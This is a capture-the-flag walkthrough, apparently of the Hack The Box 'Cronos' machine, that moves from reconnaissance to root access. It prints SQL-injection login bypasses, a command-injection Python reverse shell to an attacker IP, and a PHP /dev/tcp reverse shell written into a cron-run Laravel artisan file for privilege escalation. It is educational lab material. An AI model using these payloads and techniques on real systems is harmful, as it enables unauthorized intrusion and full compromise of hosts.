Cronos
Reconnaissance:
NMAP:
โโโ(kali๐kali)-[~]
โโ$ sudo nmap -sC -sV -O 10.10.10.13
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Aggressive OS guesses: Linux 3.13 (96%), Linux 3.16 (96%), Linux 3.2 - 4.9 (96%), Linux 4.8 (96%), Linux 4.4 (95%), Linux 4.9 (95%), Linux 3.12 (95%), Linux 3.18 (95%), Linux 3.8 - 3.11 (95%), Linux 4.2 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
โโโ(kali๐kali)-[~]
โโ$ sudo nmap -sU -O 10.10.10.13
53/udp open domain
23781/udp open|filtered unknown
43824/udp open|filtered unknown
โโโ(kali๐kali)-[~]
โโ$ sudo nmap -sC -sV -p- 10.10.10.13
Enumeration: DNS - TCP/UDP 50
For DNS enumeration, the first thing to do is try to resolve the IPs of Cronos. Iโll use nslookup, setting the server to Cronos, and then looking up Cronosโ IP:
โโโ(kali๐kali)-[~]
โโ$ nslookup
> server 10.10.10.13
Default server: 10.10.10.13
Address: 10.10.10.13#53
> 10.10.10.13
13.10.10.10.in-addr.arpa name = ns1.cronos.htb.
Knowing the domain ns1.cronos.htb is useful, as it not only provides a domain name to poke at, but also confirms the base domain cronos.htb. Any time thereโs TCP DNS, itโs worth trying a zone transfer, which returns another two subdomains, admin and www:
โโโ(kali๐kali)-[~]
โโ$ dig axfr cronos.htb @10.10.10.13
; <<>> DiG 9.19.17-2~kali1-Kali <<>> axfr cronos.htb @10.10.10.13
;; global options: +cmd
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
www.cronos.htb. 604800 IN A 10.10.10.13
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 256 msec
;; SERVER: 10.10.10.13#53(10.10.10.13) (TCP)
;; WHEN: Thu Dec 28 21:44:01 EST 2023
;; XFR size: 7 records (messages 1, bytes 203)
Iโll add the following line to my /etc/hosts file:
โโโ(kali๐kali)-[~]
โโ$ sudo nano /etc/hosts
10.10.10.13 cronos.htb
10.10.10.13 www.cronos.htb
10.10.10.13 admin.cronos.htb
Since virtual hosts are involved here, Iโll run a quick gobuster subdomain brute force, but it only returns the known three:
โโโ(kali๐kali)-[~]
โโ$ gobuster dns -d cronos.htb -w /usr/share/seclists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt
Found: www.cronos.htb
Found: ns1.cronos.htb
Found: admin.cronos.htb
Enumeration: Website - TCP 80
By visiting the website by IP address, I just get the default Ubuntu Apache 2 page: I ran a gobuster brute force, but didnโt find anything. ns1.cronos.htb returns the same thing.
Gobuster Enumeration:
โโโ(kali๐kali)-[~]
โโ$ gobuster dir -u http://cronos.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -x php,txt,html
/index.php (Status: 200) [Size: 2319]
/.php (Status: 403) [Size: 289]
/.html (Status: 403) [Size: 290]
/css (Status: 301) [Size: 306] [--> http://cronos.htb/css/]
/js (Status: 301) [Size: 305] [--> http://cronos.htb/js/]
/robots.txt (Status: 200) [Size: 24]
โโโ(kali๐kali)-[~]
โโ$ gobuster dir -u http://admin.cronos.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -t 100 -x php,txt,html
/.html (Status: 403) [Size: 296]
/.php (Status: 403) [Size: 295]
/index.php (Status: 200) [Size: 1547]
/welcome.php (Status: 200) [Size: 1547]
/logout.php (Status: 200) [Size: 1547]
/config.php (Status: 200) [Size: 0]
/session.php (Status: 200) [Size: 1547]
/.php (Status: 403) [Size: 295]
/.html (Status: 403) [Size: 296]
/server-status (Status: 403) [Size: 304]
Virtual Host Enumeration:
โโโ(kali๐kali)-[~]
โโ$ gobuster vhost -k --domain cronos.htb --append-domain -u 10.10.10.13 -w /usr/share/seclists/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt
Found: www.cronos.htb Status: 200 [Size: 2319]
Found: admin.cronos.htb Status: 200 [Size: 1547]
โโโ(kali๐kali)-[~]
โโ$ nikto -h http://10.10.10.13
+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Server may leak inodes via ETags, header found with file /, inode: 2caf, size: 5b7cbd6fbb19d, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
www.cronos.htb - TCP 80
Interestingly, all of the links go to external sites for Laravel, a โPHP framework for web artisansโ (whatever that means). Again, gobuster here only returns /css, /js, and index.php.
โโโ(kali๐kali)-[~]
โโ$ curl -sv -H 'Host: cronos.htb' 10.10.10.13
Trying 10.10.10.13:80...
* Connected to 10.10.10.13 (10.10.10.13) port 80
> GET / HTTP/1.1
> Host: cronos.htb
> User-Agent: curl/8.4.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Fri, 29 Dec 2023 03:34:46 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Cache-Control: no-cache, private
< Set-Cookie: XSRF-TOKEN=eyJpdiI6IlwvaDBXMjlIRGJadVV1MWdzOUkzV2NnPT0iLCJ2YWx1ZSI6IjdZd1YrOXBndjBUY0lDRGpYOFplcDFFMUhZamtHRTJJY254a2FKMFFTdmVRNEVyUDF1cFFoaEJZNDFSc0c4aCt1Z2owZnk2R2FLREUxYmEyNHFOZlNBPT0iLCJtYWMiOiI2MThlMDU3ZjVjMTQ5MWRjMGQ4OGFlZTMyMzAyNWNmYjQ0OTE1ZTJlNGFkNmFiMDdhMGIzMzNmN2U4YjlkNTRhIn0%3D; expires=Fri, 29-Dec-2023 05:34:46 GMT; Max-Age=7200; path=/
< Set-Cookie: laravel_session=eyJpdiI6ImxFMmlsUng3c2dQTmo3OFRBQWxLOEE9PSIsInZhbHVlIjoiNUZzWFFqM1ZVWk80ZmRCWFk1ek82bkFUSHIyd1haS1V4VFFoYjVVdlJYSEwxVHZMZUFXOUVoUWpVZUIxY1wvc2pva0crdVF6N0VqYnYyQ1c2eitxcmlRPT0iLCJtYWMiOiJjYTkyN2ZlNjViNjJkOTQ1Mzk4MWJlNWZiYzVhNGY2NjViNWRkOTM0NDIyNjE0ZThmNGE2OWI1NDdlNWJkZDQ4In0%3D; expires=Fri, 29-Dec-2023 05:34:46 GMT; Max-Age=7200; path=/; HttpOnly
< Vary: Accept-Encoding
< Content-Length: 2319
< Content-Type: text/html; charset=UTF-8
<
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Cronos</title>
<!-- Fonts -->
<link href="https://fonts.googleapis.com/css?family=Raleway:100,600" rel="stylesheet" type="text/css">
<!-- Styles -->
<style>
html, body {
background-color: #fff;
color: #636b6f;
font-family: 'Raleway', sans-serif;
font-weight: 100;
height: 100vh;
margin: 0;
}
.full-height {
height: 100vh;
}
.flex-center {
align-items: center;
display: flex;
justify-content: center;
}
.position-ref {
position: relative;
}
.top-right {
position: absolute;
right: 10px;
top: 18px;
}
.content {
text-align: center;
}
.title {
font-size: 84px;
}
.links > a {
color: #636b6f;
padding: 0 25px;
font-size: 12px;
font-weight: 600;
letter-spacing: .1rem;
text-decoration: none;
text-transform: uppercase;
}
.m-b-md {
margin-bottom: 30px;
}
</style>
</head>
<body>
<div class="flex-center position-ref full-height">
<div class="content">
<div class="title m-b-md">
Cronos
</div>
<div class="links">
<a href="https://laravel.com/docs">Documentation</a>
<a href="https://laracasts.com">Laracasts</a>
<a href="https://laravel-news.com">News</a>
<a href="https://forge.laravel.com">Forge</a>
<a href="https://github.com/laravel/laravel">GitHub</a>
</div>
</div>
</div>
</body>
</html>
* Connection #0 to host 10.10.10.13 left intact
searchsploit does show exploits against the Laravel framework:
โโโ(kali๐kali)-[~]
โโ$ searchsploit laravel
--------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------- ---------------------------------
Aimeos Laravel ecommerce platform 2021.10 LTS - 'sort' SQL inj | php/webapps/50538.txt
Laravel - 'Hash::make()' Password Truncation Security | multiple/remote/39318.txt
Laravel 8.4.2 debug mode - Remote code execution | php/webapps/49424.py
Laravel Administrator 4 - Unrestricted File Upload (Authentica | php/webapps/49112.py
Laravel Log Viewer < 0.13.0 - Local File Download | php/webapps/44343.py
Laravel Nova 3.7.0 - 'range' DoS | php/webapps/49198.txt
Laravel Valet 2.0.3 - Local Privilege Escalation (macOS) | macos/local/50591.py
PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site | php/webapps/50525.txt
PHP Laravel Framework 5.5.40 / 5.6.x < 5.6.30 - token Unserial | linux/remote/47129.rb
UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read | php/webapps/48166.txt
UniSharp Laravel File Manager 2.0.0-alpha7 - Arbitrary File Up | php/webapps/46389.py
On doing some inspection of these scripts (searchsploit -x [Path]), the first one is a way to trick the hash engine because of a truncation issue, but I donโt see any way to apply it here. The second, forth, and fifth are not for this web framework.
The Metasploit script could have promise, but there are two issues:
I donโt know the version of Laravel thatโs being run to know if it is vulnerable.
The exploit requires that I find a way to leak the APP_KEY. If I can find a way to leak that (perhaps an LFI), Iโll come back to give this a try.
admin.cronos.htb - TCP 80
The site just presents a login form and an advertisement (something I hadnโt seen in HTB before; it seems to be real).
Shell as www-data
SQLi Bypass Login:
The payload allows me to bypass the login, which presents the next page, Net Tool v0.1:
http://admin.cronos.htb/
admin';#
' OR 1=1;#
http://admin.cronos.htb/welcome.php
SELECT * FROM users WHERE username = 'login_form_username' AND password = 'login_form_password_hash';
With SQL injection, the attacker is injecting additional characters into the original SQL statement, causing an entirely different SQL query to be executed. In the case
SELECT * FROM users WHERE username = 'admin';#
the rest of the query is commented out and the user admin exists, so the query is successful
SELECT * FROM users WHERE username = '' OR 1=1;#
the rest of the query is commented out and 1=1 is true, so the query is successful
Command Injection:
The dropdown offers traceroute
and ping
. I can ping myself, and the results are printed on the screen:
PING 10.10.16.4
PING 10.10.16.4 (10.10.16.4) 56(84) bytes of data.
64 bytes from 10.10.16.4: icmp_seq=1 ttl=63 time=528 ms
--- 10.10.16.4 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 528.014/528.014/528.014/0.000 ms
PING 127.0.0.1; cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/bin/bash
noulis:x:1000:1000:Noulis Panoulis,,,:/home/noulis:/bin/bash
It is so Iโm not sure why this didnโt work. Letโs try python.
โโโ(kali๐kali)-[~]
โโ$ nc -lnvp 5555
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
command=traceroute&host=8.8.8.8+|+python+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.16.4",5555))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call(["/bin/sh","-i"])%3b'
We get back a low privileged shell!
$ whoami
www-data
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@cronos:/var/www/admin$
www-data@cronos:/home/noulis$ cat user.txt
e908ff-------------------------
www-data@cronos:/$ cd root
bash: cd: root: Permission denied
Priv: www-data โ> root
Iโll go into my local linPEAS directory and start a Python3 webserver. Then I can grab it from Cronos:
โโโ(kali๐kali)-[/opt/linpeas]
โโ$ python -m SimpleHTTPServer 5555
Serving HTTP on 0.0.0.0 port 5555 ...
www-data@cronos:/var/www/admin$ cd /tmp
www-data@cronos:/tmp$ wget http://10.10.16.4:5555/linpeas.sh
www-data@cronos:/tmp$ chmod +x linpeas.sh
www-data@cronos:/tmp$ ./linpeas.sh
Now run it, and in the Cron jobs section, the last line is red:
โโโโโโโโโโโโฃ Executing Linux Exploit Suggester 2
โ https://github.com/jondonas/linux-exploit-suggester-2
[1] af_packet
CVE-2016-8655
Source: http://www.exploit-db.com/exploits/40871
[2] exploit_x
CVE-2018-14665
Source: http://www.exploit-db.com/exploits/45697
[3] get_rekt
CVE-2017-16695
Source: http://www.exploit-db.com/exploits/45010
โโโโโโโโโโโโฃ Users with console
noulis:x:1000:1000:Noulis Panoulis,,,:/home/noulis:/bin/bash
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
The cron syntax here says that it will run every minute, as root
I donโt really need to know what the Laravel artisan is doing. What does matter is that as www-data, I have write permissions on that file
Poison artisan
Make a copy of the artisan file
www-data@cronos:/tmp$ cd /var/www/laravel
www-data@cronos:/var/www/laravel$ ls -la artisan
-rwxr-xr-x 1 www-data www-data 1646 Apr 9 2017 artisan
www-data@cronos:/var/www/laravel$ cp artisan artisan.orig
Create the reverse shell payload
www-data@cronos:/var/www/laravel$ echo '<?php exec("/bin/bash -c '"'"'bash -i >& /dev/tcp/10.10.16.4/443 0>&1'"'"'");' > /var/www/laravel/artisan
Cron job will run every minute
โโโ(kali๐kali)-[~]
โโ$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.13] 39400
root@cronos:~# whoami
root
root@cronos:~# cat root.txt
cat root.txt
701782-----------------------------
Last updated